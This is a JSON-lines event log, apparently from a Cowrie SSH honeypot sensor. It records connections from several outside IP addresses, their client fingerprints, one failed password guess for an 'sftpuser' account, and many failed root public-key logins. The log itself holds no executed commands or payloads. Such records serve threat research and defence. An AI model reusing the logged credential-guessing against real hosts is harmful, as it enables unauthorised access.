{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:45:49.244443Z","src_ip":"89.144.211.139","session":"2262f76d3b7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser123","message":"login attempt [sftpuser/sftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:45:49.813469Z","src_ip":"89.144.211.139","session":"2262f76d3b7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:45:50.951045Z","src_ip":"89.144.211.139","session":"2262f76d3b7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":15170,"dst_ip":"10.17.0.5","dst_port":22,"session":"279d0d18db40","protocol":"ssh","message":"New connection: 192.95.10.204:15170 (10.17.0.5:22) [session: 279d0d18db40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.715850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.721322Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.741676Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:b9:8a:b3:e7:59:14:a7:5a:37:2e:19:66:4a:3d:3a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5QLkdAQcJv5YqMSm5+uR5AewWHa0KvaMkcB8enCKqf","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 30:b9:8a:b3:e7:59:14:a7:5a:37:2e:19:66:4a:3d:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.815557Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:b9:8a:b3:e7:59:14:a7:5a:37:2e:19:66:4a:3d:3a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5QLkdAQcJv5YqMSm5+uR5AewWHa0KvaMkcB8enCKqf","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.819514Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:46:c9:1b:6c:ae:79:00:53:0c:b3:50:48:43:fd:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4V6xz+05DL94/kvLkd2Ayr6tHAAvFTwAod59qpN/gGZAjCb8PZRh5LQOeTwBBrRnzk3CnznL2KQz5Ip52pbwN0tGQ0x/1fb0y41+u+AqAOGO0J8igEa6rHGVIqIC9uUPmVkKiv15zkv362IR00dWlNWlf/1uKYnpjXx7fCp7YdVy6z/dD2oziddW2VzZ5dsj2O/25oElLk7yyjQWZW7AFOrEm2XzydVZDfelzAQI+SyBMJ2+13079buuRtzBjJbC5WZRF/NYZoEVXaz7GGHvWvMNCKKrV49oPpyWcrpqRg1KHAH7EcDDMPGW0lbK8y3VyKALQc1RAfCLanyCVZOEf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:46:c9:1b:6c:ae:79:00:53:0c:b3:50:48:43:fd:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.839843Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:46:c9:1b:6c:ae:79:00:53:0c:b3:50:48:43:fd:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4V6xz+05DL94/kvLkd2Ayr6tHAAvFTwAod59qpN/gGZAjCb8PZRh5LQOeTwBBrRnzk3CnznL2KQz5Ip52pbwN0tGQ0x/1fb0y41+u+AqAOGO0J8igEa6rHGVIqIC9uUPmVkKiv15zkv362IR00dWlNWlf/1uKYnpjXx7fCp7YdVy6z/dD2oziddW2VzZ5dsj2O/25oElLk7yyjQWZW7AFOrEm2XzydVZDfelzAQI+SyBMJ2+13079buuRtzBjJbC5WZRF/NYZoEVXaz7GGHvWvMNCKKrV49oPpyWcrpqRg1KHAH7EcDDMPGW0lbK8y3VyKALQc1RAfCLanyCVZOEf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.846212Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:57:62:66:63:35:b1:15:b8:c1:e7:0c:9f:20:ec:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC8ZVoQ3qtPSxCYDyS1IX8SM0edy6mZXv3kHpG9vQIMY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a6:57:62:66:63:35:b1:15:b8:c1:e7:0c:9f:20:ec:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.868001Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:57:62:66:63:35:b1:15:b8:c1:e7:0c:9f:20:ec:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC8ZVoQ3qtPSxCYDyS1IX8SM0edy6mZXv3kHpG9vQIMY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.874398Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:a9:8d:1f:1e:dd:cb:15:35:ef:40:fd:51:de:d5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNsdykySsRtl6y7wMSGHRafKdo+zRpdhViN30Q87/7tI1kSgrKJD9nFyiGtiVTTDOpUjagqdAlfrJi5uPL9yDs2iYUKzJizIlCzoZFIz14KpmVc4f8Rbp87DBYUsVHRUGHy/4LO377PykpqO4rlnpblUlkkrK4NDueyf+GVkMy+FL+PWyM2l3J0MwwlTXrCu2qTe/0SoqGy9sFy2pTTLy2+zEJMtBqdg0f3bHiRzoQocPNlxgnmjTIhpKc99EiUAs1sJx40uZMUMBlAIpISCL7n1Wyb3tNTyJY+KzmmjG84SsRVl1J26NcK2fEEa2o6NJuaoLhFgbGnAkQ+xAWCKWkEptJ5Hb1H8byU7h55/+Fsl8y77klsQM5d314wGuJ2aothm4xjGzYC14VjJx36pWJNgafQn+uz2zGxN8ZjRVWrKql4u00C4TFF+T8dyjsHVGSjkZneKdksagfIij63894U9krgqoflA2czM/woJwip+RV0YkhvG0+m+3RvmcWS/d+SHGr8g7KQDRnKHatyLtGXhSHCfYm/EYFKQI5F1thTPmvzjxAfIzMSzOa73WGx1Wg7+2cS0CzbDtKOyEYT9/TevdQ4nKLphv8toUHSkOnFmiRpcgxXnfHrJDa2s6iCehTpmXD2iaqnO/f+zAZXnX+WSY8flRFYpI7lr/YPicfsQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4b:a9:8d:1f:1e:dd:cb:15:35:ef:40:fd:51:de:d5:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.895754Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:a9:8d:1f:1e:dd:cb:15:35:ef:40:fd:51:de:d5:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNsdykySsRtl6y7wMSGHRafKdo+zRpdhViN30Q87/7tI1kSgrKJD9nFyiGtiVTTDOpUjagqdAlfrJi5uPL9yDs2iYUKzJizIlCzoZFIz14KpmVc4f8Rbp87DBYUsVHRUGHy/4LO377PykpqO4rlnpblUlkkrK4NDueyf+GVkMy+FL+PWyM2l3J0MwwlTXrCu2qTe/0SoqGy9sFy2pTTLy2+zEJMtBqdg0f3bHiRzoQocPNlxgnmjTIhpKc99EiUAs1sJx40uZMUMBlAIpISCL7n1Wyb3tNTyJY+KzmmjG84SsRVl1J26NcK2fEEa2o6NJuaoLhFgbGnAkQ+xAWCKWkEptJ5Hb1H8byU7h55/+Fsl8y77klsQM5d314wGuJ2aothm4xjGzYC14VjJx36pWJNgafQn+uz2zGxN8ZjRVWrKql4u00C4TFF+T8dyjsHVGSjkZneKdksagfIij63894U9krgqoflA2czM/woJwip+RV0YkhvG0+m+3RvmcWS/d+SHGr8g7KQDRnKHatyLtGXhSHCfYm/EYFKQI5F1thTPmvzjxAfIzMSzOa73WGx1Wg7+2cS0CzbDtKOyEYT9/TevdQ4nKLphv8toUHSkOnFmiRpcgxXnfHrJDa2s6iCehTpmXD2iaqnO/f+zAZXnX+WSY8flRFYpI7lr/YPicfsQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.903757Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:aa:fc:72:12:53:f2:a3:79:34:5b:0e:6b:be:27:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6gOuiybY8JEt7Xx0FbAGe7bsO7ik4G+f3Z3A5iofq+bhUZmGCvHtxh9qM9jxu4ewl7YuNK1uggcmI6YP4B86kHWQm3dBe/4YzPk8358BCLlHOaOh31IMUA1/CeWVkTMtSqVtr1TUnb5ehov1DQrYEdgfSK8k26SF0hzUJ4b7u8cRAxrsFarW2gbcF8UECnDzkI0umEowxvLXo8VjdYErlRx5rtYRIpI3TYIe8RbyVaa1jGoFa3B295WGzEufmcQErx9foF+bjbGgei/JQ9w+H+l1Nt1eb2RD+CmbwbbWPtwyhzG7GoN8hzUFJvQvFvXVEvJxZ7HDerLAv9SQem30t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:aa:fc:72:12:53:f2:a3:79:34:5b:0e:6b:be:27:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.924061Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:aa:fc:72:12:53:f2:a3:79:34:5b:0e:6b:be:27:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6gOuiybY8JEt7Xx0FbAGe7bsO7ik4G+f3Z3A5iofq+bhUZmGCvHtxh9qM9jxu4ewl7YuNK1uggcmI6YP4B86kHWQm3dBe/4YzPk8358BCLlHOaOh31IMUA1/CeWVkTMtSqVtr1TUnb5ehov1DQrYEdgfSK8k26SF0hzUJ4b7u8cRAxrsFarW2gbcF8UECnDzkI0umEowxvLXo8VjdYErlRx5rtYRIpI3TYIe8RbyVaa1jGoFa3B295WGzEufmcQErx9foF+bjbGgei/JQ9w+H+l1Nt1eb2RD+CmbwbbWPtwyhzG7GoN8hzUFJvQvFvXVEvJxZ7HDerLAv9SQem30t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.928450Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:34.951881Z","src_ip":"192.95.10.204","session":"279d0d18db40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.9.81","src_port":57154,"dst_ip":"10.17.0.5","dst_port":22,"session":"561ef1c16e0a","protocol":"ssh","message":"New connection: 104.194.9.81:57154 (10.17.0.5:22) [session: 561ef1c16e0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.375679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.380457Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.387654Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:22:06:b0:f0:23:a4:b7:9a:56:ec:30:3f:7c:00:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKOu0wXMed1XHzhAfupSUuBUaaoBIhvNf8sd3ANTITCo","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ee:22:06:b0:f0:23:a4:b7:9a:56:ec:30:3f:7c:00:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.406947Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:22:06:b0:f0:23:a4:b7:9a:56:ec:30:3f:7c:00:85","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKOu0wXMed1XHzhAfupSUuBUaaoBIhvNf8sd3ANTITCo","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.410832Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:3b:67:03:e1:7e:29:a4:3e:69:55:e5:3d:54:79:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4JPfSf2urMA7Q1Se1gf6zk5MwBe3BmAREfOO5VNAETuvJ7E+eeZtbtFhI5F2vB9NjMLHxqwWtJVJ119tkpy9Xv08ZqxMnX5RCB+4ykrPcrUNwXVtkrKZ+nrNZmCKBfmyLHUdlZKZY0NAe6CSNc+2gMcULmGKhQ9L1nQneG6FOxD6hbOG2XHqzNWi3kqqTCuEAiKVnLR28xpHmnNVoFowqkR9ctqBX8CUJixsZjTbpWZYYSMeM3jjQr22Zgqxi7C2/J2PmUHEc/5MsSn6Mq/uUfxorDdEQarTahOnZH1orxFVnQspRpsgtJ+OI8dV7yC9UvEduJlnfzxWTjbtfhK5ZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:3b:67:03:e1:7e:29:a4:3e:69:55:e5:3d:54:79:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.418338Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:3b:67:03:e1:7e:29:a4:3e:69:55:e5:3d:54:79:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4JPfSf2urMA7Q1Se1gf6zk5MwBe3BmAREfOO5VNAETuvJ7E+eeZtbtFhI5F2vB9NjMLHxqwWtJVJ119tkpy9Xv08ZqxMnX5RCB+4ykrPcrUNwXVtkrKZ+nrNZmCKBfmyLHUdlZKZY0NAe6CSNc+2gMcULmGKhQ9L1nQneG6FOxD6hbOG2XHqzNWi3kqqTCuEAiKVnLR28xpHmnNVoFowqkR9ctqBX8CUJixsZjTbpWZYYSMeM3jjQr22Zgqxi7C2/J2PmUHEc/5MsSn6Mq/uUfxorDdEQarTahOnZH1orxFVnQspRpsgtJ+OI8dV7yC9UvEduJlnfzxWTjbtfhK5ZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.422130Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:2d:d9:5a:9a:3a:fc:25:e7:b9:1d:a9:6e:5a:cd:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4eKcMPpb6ha61ziJIed3YM3AxDjjEV58j2l8RLWZ5trjjeeWCk2PdGQXTQ8Xkb3PDRuz4Fks27290ll10dj0IEiGDuJ3GKLEinx/5/qYtvZu2848zGCdrPTf5cTd3ZnQsvWaAGo01oK7UWdQt7U45XGOKFuOd1b4mcEtHh85voNTlWC5KAVmxf3qqRhkfHc/n9GdD1UmRByRJs5vRi+j6rDj9OgGWP+AtHN6CsMmQT7C7F9Vky4wFnrKb6XjHOnwUcJHbj/+vzslj5AAFUfBmBjg/pm1M6Fqwv/uThIqmJgm90eYaC2BZN7vK3NuWI066p0PtIjeUyLFwRYZjQJUuw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:2d:d9:5a:9a:3a:fc:25:e7:b9:1d:a9:6e:5a:cd:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.432525Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:2d:d9:5a:9a:3a:fc:25:e7:b9:1d:a9:6e:5a:cd:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4eKcMPpb6ha61ziJIed3YM3AxDjjEV58j2l8RLWZ5trjjeeWCk2PdGQXTQ8Xkb3PDRuz4Fks27290ll10dj0IEiGDuJ3GKLEinx/5/qYtvZu2848zGCdrPTf5cTd3ZnQsvWaAGo01oK7UWdQt7U45XGOKFuOd1b4mcEtHh85voNTlWC5KAVmxf3qqRhkfHc/n9GdD1UmRByRJs5vRi+j6rDj9OgGWP+AtHN6CsMmQT7C7F9Vky4wFnrKb6XjHOnwUcJHbj/+vzslj5AAFUfBmBjg/pm1M6Fqwv/uThIqmJgm90eYaC2BZN7vK3NuWI066p0PtIjeUyLFwRYZjQJUuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.436558Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:64:bd:a9:ec:51:cd:d2:67:c7:fa:4c:32:a8:37:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC04+XCbanIauT5GBWzUIAfTRcyRpIhcr/5C+BvWPtGexZwXnwxlerFoH+lemf7BBKHjejB+XCv7Hv5glLAUUxrstcmBT0VdZMSgjUwZf8igHTMo9qmUj/Bf4HF32LWWKEuDn8O8C/NIxmXWydR0btOtPJNc6qzRpmZq2rInrw1r+WBBkv+i1fCOclGA2W3YH1yOkTdFh0Habt6xXtuUuspbrGf4kHfncOUjrtE8dLARd5JIvllDylrCfiuzXuzqnxev7R8myNYuWT94qRnjyxNitgD1fjaH4H5835mo1DhZWk59iZKszdfWSitK7D2HxbSDjlCuXKKthMUG5WAGztR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:64:bd:a9:ec:51:cd:d2:67:c7:fa:4c:32:a8:37:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.445908Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:64:bd:a9:ec:51:cd:d2:67:c7:fa:4c:32:a8:37:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC04+XCbanIauT5GBWzUIAfTRcyRpIhcr/5C+BvWPtGexZwXnwxlerFoH+lemf7BBKHjejB+XCv7Hv5glLAUUxrstcmBT0VdZMSgjUwZf8igHTMo9qmUj/Bf4HF32LWWKEuDn8O8C/NIxmXWydR0btOtPJNc6qzRpmZq2rInrw1r+WBBkv+i1fCOclGA2W3YH1yOkTdFh0Habt6xXtuUuspbrGf4kHfncOUjrtE8dLARd5JIvllDylrCfiuzXuzqnxev7R8myNYuWT94qRnjyxNitgD1fjaH4H5835mo1DhZWk59iZKszdfWSitK7D2HxbSDjlCuXKKthMUG5WAGztR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T10:46:40.449736Z","src_ip":"104.194.9.81","session":"561ef1c16e0a","protocol":"ssh"}
